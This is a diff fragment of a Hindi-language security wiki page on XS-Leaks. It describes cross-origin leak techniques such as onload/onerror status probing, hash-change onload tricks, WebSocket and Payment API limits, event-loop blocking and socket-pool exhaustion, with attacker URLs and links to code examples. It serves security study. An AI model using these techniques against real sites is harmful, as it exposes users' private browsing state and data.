- **पृष्ठ सामग्री**: **HTTP प्रतिक्रिया शरीर में भिन्नताओं** या पृष्ठ उप-संसाधनों में अवलोकन करना, जैसे **एंबेडेड फ्रेम की संख्या** या छवियों में आकार भिन्नताएँ।
|
||||
@ -31,16 +31,16 @@ XS-Search एक विधि है जिसका उपयोग **क्र
|
||||
- **HTML तत्व**: HTML विभिन्न तत्वों की पेशकश करता है **क्रॉस-ओरिजिन संसाधन समावेश** के लिए, जैसे स्टाइलशीट, छवियाँ, या स्क्रिप्ट, जो ब्राउज़र को एक गैर-HTML संसाधन के लिए अनुरोध करने के लिए मजबूर करते हैं। इस उद्देश्य के लिए संभावित HTML तत्वों का संकलन [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks) पर पाया जा सकता है।
|
||||
- **फ्रेम**: तत्व जैसे **iframe**, **object**, और **embed** HTML संसाधनों को सीधे हमलावर के पृष्ठ में एम्बेड कर सकते हैं। यदि पृष्ठ **फ्रेमिंग सुरक्षा** की कमी है, तो JavaScript फ्रेम किए गए संसाधन की विंडो ऑब्जेक्ट को contentWindow प्रॉपर्टी के माध्यम से एक्सेस कर सकता है।
|
||||
- **पॉप-अप**: **`window.open`** विधि एक नए टैब या विंडो में एक संसाधन खोलती है, JavaScript के लिए विधियों और गुणों के साथ बातचीत करने के लिए एक **विंडो हैंडल** प्रदान करती है जो SOP का पालन करती है। पॉप-अप, जो अक्सर सिंगल साइन-ऑन में उपयोग होते हैं, लक्षित संसाधन की फ्रेमिंग और कुकी प्रतिबंधों को बायपास करते हैं। हालाँकि, आधुनिक ब्राउज़र पॉप-अप निर्माण को कुछ उपयोगकर्ता क्रियाओं तक सीमित करते हैं।
|
||||
- **JavaScript अनुरोध**: JavaScript लक्षित संसाधनों के लिए सीधे अनुरोध करने की अनुमति देता है **XMLHttpRequests** या **Fetch API** का उपयोग करके। ये विधियाँ अनुरोध पर सटीक नियंत्रण प्रदान करती हैं, जैसे HTTP रीडायरेक्ट का पालन करने का विकल्प।
|
||||
- **JavaScript अनुरोध**: JavaScript लक्षित संसाधनों के लिए सीधे अनुरोध करने की अनुमति देता है **XMLHttpRequests** या **Fetch API** का उपयोग करके। ये विधियाँ अनुरोध पर सटीक नियंत्रण प्रदान करती हैं, जैसे HTTP रीडायरेक्ट्स का पालन करने का विकल्प।
|
||||
|
||||
### Leak Techniques
|
||||
|
||||
- **इवेंट हैंडलर**: XS-Leaks में एक पारंपरिक लीक तकनीक, जहाँ इवेंट हैंडलर जैसे **onload** और **onerror** संसाधन लोडिंग की सफलता या विफलता के बारे में जानकारी प्रदान करते हैं।
|
||||
- **त्रुटि संदेश**: JavaScript अपवाद या विशेष त्रुटि पृष्ठ लीक जानकारी प्रदान कर सकते हैं या तो त्रुटि संदेश से सीधे या इसकी उपस्थिति और अनुपस्थिति के बीच भेद करके।
|
||||
- **वैश्विक सीमाएँ**: एक ब्राउज़र की भौतिक सीमाएँ, जैसे मेमोरी क्षमता या अन्य लागू ब्राउज़र सीमाएँ, जब एक सीमा तक पहुँच जाती हैं तो संकेत दे सकती हैं, जो एक लीक तकनीक के रूप में कार्य करती हैं।
|
||||
- **वैश्विक स्थिति**: ब्राउज़र की **वैश्विक स्थितियों** (जैसे, इतिहास इंटरफेस) के साथ पता लगाने योग्य इंटरैक्शन का शोषण किया जा सकता है। उदाहरण के लिए, एक ब्राउज़र के इतिहास में **प्रविष्टियों की संख्या** क्रॉस-ओरिजिन पृष्ठों के बारे में सुराग प्रदान कर सकती है।
|
||||
- **त्रुटि संदेश**: JavaScript अपवाद या विशेष त्रुटि पृष्ठ लीक जानकारी प्रदान कर सकते हैं या तो त्रुटि संदेश से सीधे या इसकी उपस्थिति और अनुपस्थिति के बीच भिन्नता करके।
|
||||
- **वैश्विक सीमाएँ**: ब्राउज़र की भौतिक सीमाएँ, जैसे मेमोरी क्षमता या अन्य लागू ब्राउज़र सीमाएँ, जब एक सीमा तक पहुँच जाती हैं तो संकेत दे सकती हैं, जो एक लीक तकनीक के रूप में कार्य करती हैं।
|
||||
- **वैश्विक स्थिति**: ब्राउज़रों की **वैश्विक स्थितियों** (जैसे, इतिहास इंटरफेस) के साथ पता लगाने योग्य इंटरैक्शन का शोषण किया जा सकता है। उदाहरण के लिए, ब्राउज़र के इतिहास में **प्रविष्टियों की संख्या** क्रॉस-ओरिजिन पृष्ठों के बारे में सुराग प्रदान कर सकती है।
|
||||
- **परफॉर्मेंस API**: यह API **वर्तमान पृष्ठ के प्रदर्शन विवरण** प्रदान करती है, जिसमें दस्तावेज़ और लोड किए गए संसाधनों के लिए नेटवर्क समय शामिल है, जो अनुरोधित संसाधनों के बारे में अनुमान लगाने की अनुमति देती है।
|
||||
- **पढ़ने योग्य विशेषताएँ**: कुछ HTML विशेषताएँ **क्रॉस-ओरिजिन पढ़ने योग्य** होती हैं और इन्हें लीक तकनीक के रूप में उपयोग किया जा सकता है। उदाहरण के लिए, `window.frame.length` प्रॉपर्टी JavaScript को एक वेबपृष्ठ में शामिल फ्रेमों की संख्या गिनने की अनुमति देती है।
|
||||
- **पढ़ने योग्य विशेषताएँ**: कुछ HTML विशेषताएँ **क्रॉस-ओरिजिन पढ़ने योग्य** होती हैं और इन्हें लीक तकनीक के रूप में उपयोग किया जा सकता है। उदाहरण के लिए, `window.frame.length` प्रॉपर्टी JavaScript को एक वेबपृष्ठ में शामिल फ्रेम की संख्या गिनने की अनुमति देती है।
|
||||
|
||||
## XSinator Tool & Paper
|
||||
|
||||
@ -49,11 +49,11 @@ XSinator एक स्वचालित उपकरण है जो **कई
|
||||
आप **उपकरण तक पहुँच सकते हैं** [**https://xsinator.com/**](https://xsinator.com/)
|
||||
|
||||
> [!WARNING]
|
||||
> **बहिष्कृत XS-Leaks**: हमें उन XS-Leaks को बहिष्कृत करना पड़ा जो **सेवा श्रमिकों** पर निर्भर करते हैं क्योंकि वे XSinator में अन्य लीक के साथ हस्तक्षेप करेंगे। इसके अलावा, हमने **विशिष्ट वेब एप्लिकेशन में गलत कॉन्फ़िगरेशन और बग पर निर्भर XS-Leaks को बहिष्कृत करने का निर्णय लिया**। उदाहरण के लिए, CrossOrigin Resource Sharing (CORS) गलत कॉन्फ़िगरेशन, postMessage लीक या Cross-Site Scripting। इसके अतिरिक्त, हमने समय आधारित XS-Leaks को भी बहिष्कृत किया क्योंकि वे अक्सर धीमे, शोर वाले और असंगत होते हैं।
|
||||
> **बहिष्कृत XS-Leaks**: हमें उन XS-Leaks को बहिष्कृत करना पड़ा जो **सेवा श्रमिकों** पर निर्भर करते हैं क्योंकि वे XSinator में अन्य लीक के साथ हस्तक्षेप करेंगे। इसके अलावा, हमने **विशिष्ट वेब एप्लिकेशन में गलत कॉन्फ़िगरेशन और बग्स पर निर्भर XS-Leaks को बहिष्कृत करने का निर्णय लिया**। उदाहरण के लिए, CrossOrigin Resource Sharing (CORS) गलत कॉन्फ़िगरेशन, postMessage लीक या Cross-Site Scripting। इसके अतिरिक्त, हमने समय आधारित XS-Leaks को भी बहिष्कृत किया क्योंकि वे अक्सर धीमे, शोर वाले और असंगत होते हैं।
|
||||
|
||||
## **Timing Based techniques**
|
||||
|
||||
कुछ निम्नलिखित तकनीकें समय का उपयोग करने जा रही हैं ताकि वेब पृष्ठों की संभावित स्थितियों में भिन्नताएँ पहचान सकें। एक वेब ब्राउज़र में समय मापने के विभिन्न तरीके हैं।
|
||||
कुछ निम्नलिखित तकनीकें समय का उपयोग करने जा रही हैं ताकि वेब पृष्ठों की संभावित स्थितियों में भिन्नताओं का पता लगाया जा सके। एक वेब ब्राउज़र में समय मापने के विभिन्न तरीके हैं।
|
||||
|
||||
**घड़ियाँ**: [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) API डेवलपर्स को उच्च-रिज़ॉल्यूशन समय माप प्राप्त करने की अनुमति देती है।\
|
||||
हमलावरों के पास निहित घड़ियाँ बनाने के लिए दुरुपयोग करने के लिए कई APIs हैं: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), CSS एनिमेशन, और अन्य।\
|
||||
@ -66,14 +66,14 @@ XSinator एक स्वचालित उपकरण है जो **कई
|
||||
- **Inclusion Methods**: Frames, HTML Elements
|
||||
- **Detectable Difference**: Status Code
|
||||
- **More info**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/)
|
||||
- **Summary**: यदि एक संसाधन को लोड करने का प्रयास किया जा रहा है, तो onerror/onload इवेंट्स ट्रिगर होते हैं जब संसाधन सफलतापूर्वक/असफलता से लोड होता है, तो स्थिति कोड का पता लगाना संभव है।
|
||||
- **Summary**: यदि एक संसाधन को लोड करने का प्रयास करते समय onerror/onload इवेंट्स ट्रिगर होते हैं जब संसाधन सफलतापूर्वक/असफलता से लोड होता है, तो स्थिति कोड का पता लगाना संभव है।
|
||||
- **Code example**: [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)](<https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)>)
|
||||
|
||||
{{#ref}}
|
||||
xs-search/cookie-bomb-+-onerror-xs-leak.md
|
||||
{{#endref}}
|
||||
|
||||
कोड उदाहरण **JS से स्क्रिप्ट ऑब्जेक्ट लोड करने** का प्रयास करता है, लेकिन **अन्य टैग** जैसे ऑब्जेक्ट, स्टाइलशीट, छवियाँ, ऑडियोज़ भी उपयोग किए जा सकते हैं। इसके अलावा, **टैग को सीधे** इंजेक्ट करना और टैग के अंदर `onload` और `onerror` इवेंट्स को घोषित करना भी संभव है (JS से इंजेक्ट करने के बजाय)।
|
||||
कोड उदाहरण **JS से स्क्रिप्ट ऑब्जेक्ट लोड करने** का प्रयास करता है, लेकिन **अन्य टैग** जैसे ऑब्जेक्ट, स्टाइलशीट, छवियाँ, ऑडियो भी उपयोग किए जा सकते हैं। इसके अलावा, **टैग को सीधे** इंजेक्ट करना और टैग के अंदर `onload` और `onerror` इवेंट्स को घोषित करना भी संभव है (JS से इंजेक्ट करने के बजाय)।
|
||||
|
||||
इस हमले का एक स्क्रिप्ट-रहित संस्करण भी है:
|
||||
```html
|
||||
@ -97,7 +97,7 @@ xs-search/performance.now-example.md
|
||||
|
||||
#### Onload Timing + Forced Heavy Task
|
||||
|
||||
यह तकनीक पिछले वाले के समान है, लेकिन **attacker** कुछ क्रिया को **प्रासंगिक मात्रा समय** लेने के लिए भी **बल देगा** जब **उत्तर सकारात्मक या नकारात्मक** हो और उस समय को मापेगा।
|
||||
यह तकनीक पिछले वाले के समान है, लेकिन **attacker** कुछ क्रिया को **प्रासंगिक मात्रा में समय** लेने के लिए भी **बल देगा** जब **उत्तर सकारात्मक या नकारात्मक** हो और उस समय को मापेगा।
|
||||
|
||||
{{#ref}}
|
||||
xs-search/performance.now-+-force-heavy-task.md
|
||||
@ -131,10 +131,10 @@ xs-search/performance.now-+-force-heavy-task.md
|
||||
- **Inclusion Methods**: Frames
|
||||
- **Detectable Difference**: Page Content
|
||||
- **More info**:
|
||||
- **Summary**: यदि आप पृष्ठ को त्रुटि उत्पन्न करने के लिए मजबूर कर सकते हैं जब सही सामग्री तक पहुंचा जाए और इसे सही तरीके से लोड कर सकते हैं जब कोई भी सामग्री तक पहुंचा जाए, तो आप सभी जानकारी निकालने के लिए एक लूप बना सकते हैं बिना समय मापे।
|
||||
- **Summary**: यदि आप पृष्ठ को त्रुटि में डाल सकते हैं जब सही सामग्री तक पहुंचा जाए और इसे सही तरीके से लोड कर सकते हैं जब कोई भी सामग्री तक पहुंचा जाए, तो आप सभी जानकारी निकालने के लिए एक लूप बना सकते हैं बिना समय मापे।
|
||||
- **Code Example**:
|
||||
|
||||
मान लीजिए कि आप **iframe के अंदर** **गुप्त** सामग्री वाला **पृष्ठ** **सम्मिलित** कर सकते हैं।
|
||||
मान लीजिए कि आप **iframe के अंदर** **गुप्त** सामग्री वाला **पृष्ठ** **डाल सकते हैं**।
|
||||
|
||||
आप **पीड़ित को खोजने के लिए मजबूर कर सकते हैं** उस फ़ाइल के लिए जिसमें "_**flag**_" है, एक **Iframe** का उपयोग करके (उदाहरण के लिए CSRF का शोषण करते हुए)। Iframe के अंदर आप जानते हैं कि _**onload event**_ हमेशा **कम से कम एक बार** **निष्पादित** होगा। फिर, आप **URL** को **iframe** का **बदल सकते हैं** लेकिन केवल **hash** के **सामग्री** को बदलकर।
|
||||
|
||||
@ -143,7 +143,7 @@ xs-search/performance.now-+-force-heavy-task.md
|
||||
1. **URL1**: www.attacker.com/xssearch#try1
|
||||
2. **URL2**: www.attacker.com/xssearch#try2
|
||||
|
||||
यदि पहला URL **सफलतापूर्वक लोड** हुआ, तो, जब **hash** भाग को **बदला** जाएगा, तो **onload** घटना **फिर से सक्रिय नहीं होगी**। लेकिन **यदि** पृष्ठ लोड करते समय किसी प्रकार की **त्रुटि** थी, तो, **onload** घटना **फिर से सक्रिय होगी**।
|
||||
यदि पहला URL **सफलतापूर्वक लोड** हुआ, तो, जब **hash** भाग को **बदला** जाएगा, तो **onload** घटना **फिर से सक्रिय नहीं होगी**। लेकिन **यदि** पृष्ठ में **लोडिंग** के समय कोई प्रकार की **त्रुटि** थी, तो, **onload** घटना **फिर से सक्रिय होगी**।
|
||||
|
||||
तब, आप **सही** लोड किए गए पृष्ठ या पृष्ठ के बीच **अंतर** कर सकते हैं जिसमें **त्रुटि** है जब इसे एक्सेस किया जाता है।
|
||||
|
||||
@ -177,7 +177,7 @@ xs-search/javascript-execution-xs-leak.md
|
||||
- **Summary**: id या name attribute से संवेदनशील डेटा लीक करें।
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet)
|
||||
|
||||
यह संभव है कि आप **iframe** के अंदर एक **पृष्ठ** **लोड** करें और **`#id_value`** का उपयोग करें ताकि पृष्ठ **iframe के तत्व** पर ध्यान केंद्रित कर सके, यदि संकेत दिया गया हो, तो यदि एक **`onblur`** संकेत सक्रिय होता है, तो ID तत्व मौजूद है।\
|
||||
यह संभव है कि आप **iframe** के अंदर एक **पृष्ठ** **लोड करें** और **`#id_value`** का उपयोग करें ताकि पृष्ठ **iframe के तत्व पर ध्यान केंद्रित करे**। यदि, तब यदि एक **`onblur`** संकेत सक्रिय होता है, तो ID तत्व मौजूद है।\
|
||||
आप **`portal`** टैग के साथ भी वही हमला कर सकते हैं।
|
||||
|
||||
### postMessage Broadcasts <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>
|
||||
@ -202,17 +202,17 @@ xs-search/javascript-execution-xs-leak.md
|
||||
|
||||
यह पहचानना संभव है कि एक **लक्ष्य पृष्ठ** कितने **WebSocket कनेक्शन** का उपयोग करता है। यह एक हमलावर को एप्लिकेशन की स्थितियों का पता लगाने और WebSocket कनेक्शनों की संख्या से संबंधित जानकारी लीक करने की अनुमति देता है।
|
||||
|
||||
यदि एक **origin** **WebSocket** कनेक्शन वस्तुओं की **अधिकतम मात्रा** का उपयोग करता है, तो कनेक्शन की स्थिति की परवाह किए बिना, **नए वस्तुओं का निर्माण JavaScript अपवादों का परिणाम देगा**। इस हमले को निष्पादित करने के लिए, हमलावर वेबसाइट लक्षित वेबसाइट को एक पॉप-अप या iframe में खोलती है और फिर, जब लक्षित वेब लोड हो जाता है, तो अधिकतम संख्या में WebSockets कनेक्शन बनाने का प्रयास करती है। **उपयुक्त अपवादों की संख्या** **लक्षित वेबसाइट** विंडो द्वारा उपयोग किए गए **WebSocket कनेक्शनों की संख्या** है।
|
||||
यदि एक **origin** **WebSocket** कनेक्शन वस्तुओं की **अधिकतम मात्रा** का उपयोग करता है, तो उनके कनेक्शन की स्थिति की परवाह किए बिना, **नए वस्तुओं का निर्माण JavaScript अपवादों का परिणाम देगा**। इस हमले को निष्पादित करने के लिए, हमलावर वेबसाइट लक्षित वेबसाइट को एक पॉप-अप या iframe में खोलती है और फिर, जब लक्षित वेब लोड हो जाता है, तो अधिकतम संख्या में WebSockets कनेक्शन बनाने का प्रयास करती है। **उपयुक्त अपवादों की संख्या** **लक्षित वेबसाइट** विंडो द्वारा उपयोग किए गए **WebSocket कनेक्शनों की संख्या** है।
|
||||
|
||||
### Payment API
|
||||
|
||||
- **Inclusion Methods**: Frames, Pop-ups
|
||||
- **Detectable Difference**: API Usage
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
|
||||
- **Summary**: केवल एक भुगतान अनुरोध सक्रिय हो सकता है, इसका पता लगाएं।
|
||||
- **Summary**: केवल एक ही सक्रिय हो सकता है, इसलिए भुगतान अनुरोध का पता लगाएं।
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Payment%20API%20Leak](https://xsinator.com/testing.html#Payment%20API%20Leak)
|
||||
|
||||
यह XS-Leak एक हमलावर को **यह पता लगाने की अनुमति देता है कि कब एक क्रॉस-ओरिजिन पृष्ठ एक भुगतान अनुरोध शुरू करता है**।
|
||||
यह XS-Leak एक हमलावर को **यह पता लगाने की अनुमति देता है कि कब एक क्रॉस-ओरिजिन पृष्ठ भुगतान अनुरोध शुरू करता है**।
|
||||
|
||||
क्योंकि **केवल एक भुगतान अनुरोध सक्रिय हो सकता है** एक ही समय में, यदि लक्षित वेबसाइट भुगतान अनुरोध API का उपयोग कर रही है, तो इस API का उपयोग करने के लिए कोई भी आगे के प्रयास **विफल** होंगे, और एक **JavaScript अपवाद** का कारण बनेंगे। हमलावर इसे **नियमित रूप से भुगतान API UI दिखाने का प्रयास करके** शोषण कर सकता है। यदि एक प्रयास अपवाद का कारण बनता है, तो लक्षित वेबसाइट वर्तमान में इसका उपयोग कर रही है। हमलावर इन नियमित प्रयासों को UI बनाने के तुरंत बाद बंद करके छिपा सकता है।
|
||||
|
||||
@ -228,7 +228,7 @@ xs-search/javascript-execution-xs-leak.md
|
||||
xs-search/event-loop-blocking-+-lazy-images.md
|
||||
{{#endref}}
|
||||
|
||||
JavaScript एक [एकल-थ्रेडेड इवेंट लूप](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) समवर्ती मॉडल पर काम करता है, जिसका अर्थ है कि **यह एक समय में केवल एक कार्य निष्पादित कर सकता है**। इस विशेषता का शोषण किया जा सकता है **यह मापने के लिए कि विभिन्न मूल से कोड को निष्पादित करने में कितना समय लगता है**। एक हमलावर अपने कोड के निष्पादन समय को इवेंट लूप में माप सकता है, लगातार निश्चित गुणों के साथ इवेंट भेजकर। ये इवेंट तब संसाधित किए जाएंगे जब इवेंट पूल खाली होगा। यदि अन्य मूल भी उसी पूल में इवेंट भेज रहे हैं, तो एक **हमलावर अपने कार्यों के निष्पादन में देरी को देखकर यह अनुमान लगा सकता है कि इन बाहरी इवेंट्स को निष्पादित करने में कितना समय लगता है**। देरी के लिए इवेंट लूप की निगरानी करने की यह विधि विभिन्न मूलों से कोड के निष्पादन समय को प्रकट कर सकती है, संभावित रूप से संवेदनशील जानकारी को उजागर कर सकती है।
|
||||
JavaScript एक [एकल-थ्रेडेड इवेंट लूप](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) समवर्ती मॉडल पर काम करता है, जिसका अर्थ है कि **यह एक समय में केवल एक कार्य निष्पादित कर सकता है**। इस विशेषता का शोषण किया जा सकता है ताकि **यह माप सके कि एक अलग मूल से कोड को निष्पादित करने में कितना समय लगता है**। एक हमलावर अपने कोड के निष्पादन समय को इवेंट लूप में माप सकता है, लगातार निश्चित गुणों के साथ इवेंट भेजकर। ये इवेंट तब संसाधित किए जाएंगे जब इवेंट पूल खाली होगा। यदि अन्य मूल भी उसी पूल में इवेंट भेज रहे हैं, तो एक **हमलावर इन बाहरी इवेंट्स के निष्पादन में देरी को देखकर यह अनुमान लगा सकता है कि इन बाहरी इवेंट्स को निष्पादित करने में कितना समय लगता है**। देरी के लिए इवेंट लूप की निगरानी करने की यह विधि विभिन्न मूलों से कोड के निष्पादन समय को प्रकट कर सकती है, संभावित रूप से संवेदनशील जानकारी को उजागर कर सकती है।
|
||||
|
||||
> [!WARNING]
|
||||
> निष्पादन समय में **नेटवर्क कारकों** को **हटाना** संभव है ताकि **अधिक सटीक माप** प्राप्त किया जा सके। उदाहरण के लिए, पृष्ठ द्वारा उपयोग किए जाने वाले संसाधनों को लोड करने से पहले लोड करना।
|
||||
@ -238,10 +238,10 @@ JavaScript एक [एकल-थ्रेडेड इवेंट लूप](ht
|
||||
- **Inclusion Methods**:
|
||||
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
|
||||
- **Summary:** एक वेब ऑपरेशन के निष्पादन समय को मापने की एक विधि में जानबूझकर एक थ्रेड के इवेंट लूप को अवरुद्ध करना और फिर **इवेंट लूप फिर से उपलब्ध होने में कितना समय लगता है** को मापना शामिल है। एक अवरुद्ध ऑपरेशन (जैसे लंबी गणना या समकालिक API कॉल) को इवेंट लूप में डालकर, और बाद के कोड के निष्पादन की शुरुआत में लगने वाले समय की निगरानी करके, यह अनुमान लगाया जा सकता है कि अवरुद्ध अवधि के दौरान इवेंट लूप में कौन से कार्य निष्पादित हो रहे थे। यह तकनीक JavaScript के इवेंट लूप की एकल-थ्रेडेड प्रकृति का लाभ उठाती है, जहां कार्य अनुक्रम में निष्पादित होते हैं, और यह साझा थ्रेड पर अन्य संचालन के प्रदर्शन या व्यवहार के बारे में अंतर्दृष्टि प्रदान कर सकती है।
|
||||
- **Summary:** एक वेब ऑपरेशन के निष्पादन समय को मापने की एक विधि में जानबूझकर एक थ्रेड के इवेंट लूप को अवरुद्ध करना और फिर **इवेंट लूप फिर से उपलब्ध होने में कितना समय लगता है** को मापना शामिल है। एक अवरुद्ध ऑपरेशन (जैसे लंबी गणना या समकालिक API कॉल) को इवेंट लूप में डालकर, और बाद के कोड के निष्पादन की शुरुआत में लगने वाले समय की निगरानी करके, यह अनुमान लगाया जा सकता है कि अवरुद्ध अवधि के दौरान इवेंट लूप में कौन से कार्य निष्पादित हो रहे थे। यह तकनीक JavaScript के इवेंट लूप की एकल-थ्रेडेड प्रकृति का लाभ उठाती है, जहां कार्य अनुक्रमिक रूप से निष्पादित होते हैं, और यह साझा थ्रेड पर अन्य संचालन के प्रदर्शन या व्यवहार के बारे में अंतर्दृष्टि प्रदान कर सकती है।
|
||||
- **Code Example**:
|
||||
|
||||
इवेंट लूप को लॉक करके निष्पादन समय को मापने की तकनीक का एक महत्वपूर्ण लाभ **Site Isolation** को दरकिनार करने की क्षमता है। **Site Isolation** एक सुरक्षा विशेषता है जो विभिन्न वेबसाइटों को अलग-अलग प्रक्रियाओं में विभाजित करती है, जिसका उद्देश्य दुर्भावनापूर्ण साइटों को अन्य साइटों से संवेदनशील डेटा तक सीधे पहुंचने से रोकना है। हालाँकि, साझा इवेंट लूप के माध्यम से दूसरे मूल के निष्पादन समय को प्रभावित करके, एक हमलावर उस मूल की गतिविधियों के बारे में अप्रत्यक्ष रूप से जानकारी निकाल सकता है। यह विधि दूसरे मूल के डेटा तक सीधे पहुंच पर निर्भर नहीं करती है, बल्कि साझा इवेंट लूप पर उस मूल की गतिविधियों के प्रभाव को देखती है, इस प्रकार **Site Isolation** द्वारा स्थापित सुरक्षात्मक बाधाओं से बचती है।
|
||||
इवेंट लूप को लॉक करके निष्पादन समय को मापने की तकनीक का एक महत्वपूर्ण लाभ **Site Isolation** को दरकिनार करने की क्षमता है। **Site Isolation** एक सुरक्षा विशेषता है जो विभिन्न वेबसाइटों को अलग प्रक्रियाओं में विभाजित करती है, जिसका उद्देश्य दुर्भावनापूर्ण साइटों को अन्य साइटों से संवेदनशील डेटा तक सीधे पहुंचने से रोकना है। हालाँकि, साझा इवेंट लूप के माध्यम से दूसरे मूल के निष्पादन समय को प्रभावित करके, एक हमलावर उस मूल की गतिविधियों के बारे में अप्रत्यक्ष रूप से जानकारी निकाल सकता है। यह विधि दूसरे मूल के डेटा तक सीधे पहुंच पर निर्भर नहीं करती है, बल्कि साझा इवेंट लूप पर उस मूल की गतिविधियों के प्रभाव को देखती है, इस प्रकार **Site Isolation** द्वारा स्थापित सुरक्षात्मक बाधाओं से बचती है।
|
||||
|
||||
> [!WARNING]
|
||||
> निष्पादन समय में **नेटवर्क कारकों** को **हटाना** संभव है ताकि **अधिक सटीक माप** प्राप्त किया जा सके। उदाहरण के लिए, पृष्ठ द्वारा उपयोग किए जाने वाले संसाधनों को लोड करने से पहले लोड करना।
|
||||
@ -251,19 +251,19 @@ JavaScript एक [एकल-थ्रेडेड इवेंट लूप](ht
|
||||
- **Inclusion Methods**: JavaScript Requests
|
||||
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
|
||||
- **Summary:** एक हमलावर सभी सॉकेट्स को लॉक कर सकता है सिवाय 1 के, लक्षित वेब को लोड कर सकता है और एक ही समय में एक और पृष्ठ लोड कर सकता है, अंतिम पृष्ठ के लोड होने की शुरुआत तक का समय लक्षित पृष्ठ के लोड होने का समय है।
|
||||
- **Summary:** एक हमलावर सभी सॉकेट्स को लॉक कर सकता है सिवाय 1 के, लक्षित वेब को लोड कर सकता है और एक ही समय में एक और पृष्ठ लोड कर सकता है, अंतिम पृष्ठ के लोड होना शुरू होने तक का समय लक्षित पृष्ठ के लोड होने का समय है।
|
||||
- **Code Example**:
|
||||
|
||||
{{#ref}}
|
||||
xs-search/connection-pool-example.md
|
||||
{{#endref}}
|
||||
|
||||
ब्राउज़र सर्वर संचार के लिए सॉकेट का उपयोग करते हैं, लेकिन ऑपरेटिंग सिस्टम और हार्डवेयर के सीमित संसाधनों के कारण, **ब्राउज़रों को समवर्ती सॉकेट्स की संख्या पर एक सीमा लागू करने के लिए मजबूर किया जाता है**। हमलावर इस सीमा का शोषण निम्नलिखित चरणों के माध्यम से कर सकते हैं:
|
||||
ब्राउज़र सर्वर संचार के लिए सॉकेट का उपयोग करते हैं, लेकिन ऑपरेटिंग सिस्टम और हार्डवेयर के सीमित संसाधनों के कारण, **ब्राउज़र को समवर्ती सॉकेट्स की संख्या पर एक सीमा लागू करने के लिए मजबूर किया जाता है**। हमलावर इस सीमा का शोषण निम्नलिखित चरणों के माध्यम से कर सकते हैं:
|
||||
|
||||
1. ब्राउज़र के सॉकेट की सीमा का निर्धारण करें, उदाहरण के लिए, 256 वैश्विक सॉकेट।
|
||||
2. 255 सॉकेट्स को लंबे समय तक 255 अनुरोधों को विभिन्न होस्टों पर शुरू करके व्यस्त रखें, जो कनेक्शन को खुले रखने के लिए डिज़ाइन किए गए हैं बिना पूरा किए।
|
||||
3. लक्षित पृष्ठ को भेजने के लिए 256 वें सॉकेट का उपयोग करें।
|
||||
4. एक अलग होस्ट पर 257 वां अनुरोध करने का प्रयास करें। चूंकि सभी सॉकेट उपयोग में हैं (जैसा कि चरण 2 और 3 में है), यह अनुरोध तब तक कतारबद्ध होगा जब तक कोई सॉकेट उपलब्ध नहीं हो जाता। इस अनुरोध के आगे बढ़ने से पहले की देरी हमलावर को 256 वें सॉकेट (लक्षित पृष्ठ का सॉकेट) से संबंधित नेटवर्क गतिविधि के बारे में समय की जानकारी प्रदान करती है। यह अनुमान संभव है क्योंकि चरण 2 से 255 सॉकेट अभी भी व्यस्त हैं, यह संकेत करते हुए कि कोई भी नया उपलब्ध सॉकेट वह होना चाहिए जो चरण 3 से मुक्त किया गया हो। इसलिए 256 वें सॉकेट के उपलब्ध होने में लगने वाला समय सीधे लक्षित पृष्ठ के अनुरोध को पूरा करने के लिए आवश्यक समय से जुड़ा हुआ है।
|
||||
1. ब्राउज़र के सॉकेट की सीमा का पता लगाएं, उदाहरण के लिए, 256 वैश्विक सॉकेट।
|
||||
2. 255 सॉकेट्स को लंबे समय तक बनाए रखने के लिए विभिन्न होस्टों के लिए 255 अनुरोध शुरू करें, जो कनेक्शन को खुले रखने के लिए डिज़ाइन किए गए हैं बिना पूरा किए।
|
||||
3. लक्षित पृष्ठ के लिए अनुरोध भेजने के लिए 256वां सॉकेट का उपयोग करें।
|
||||
4. एक अलग होस्ट के लिए 257वां अनुरोध करने का प्रयास करें। चूंकि सभी सॉकेट उपयोग में हैं (जैसा कि चरण 2 और 3 में है), यह अनुरोध तब तक कतारबद्ध होगा जब तक कोई सॉकेट उपलब्ध नहीं हो जाता। इस अनुरोध के आगे बढ़ने से पहले की देरी हमलावर को 256वें सॉकेट (लक्षित पृष्ठ के सॉकेट) से संबंधित नेटवर्क गतिविधि के बारे में समय की जानकारी प्रदान करती है। यह अनुमान संभव है क्योंकि चरण 2 से 255 सॉकेट अभी भी व्यस्त हैं, यह संकेत करते हुए कि कोई भी नया उपलब्ध सॉकेट वह होना चाहिए जो चरण 3 से मुक्त हुआ हो। इसलिए 256वें सॉकेट के उपलब्ध होने में लगने वाला समय सीधे लक्षित पृष्ठ के अनुरोध को पूरा करने के लिए आवश्यक समय से जुड़ा हुआ है।
|
||||
|
||||
अधिक जानकारी के लिए: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
|
||||
|
||||
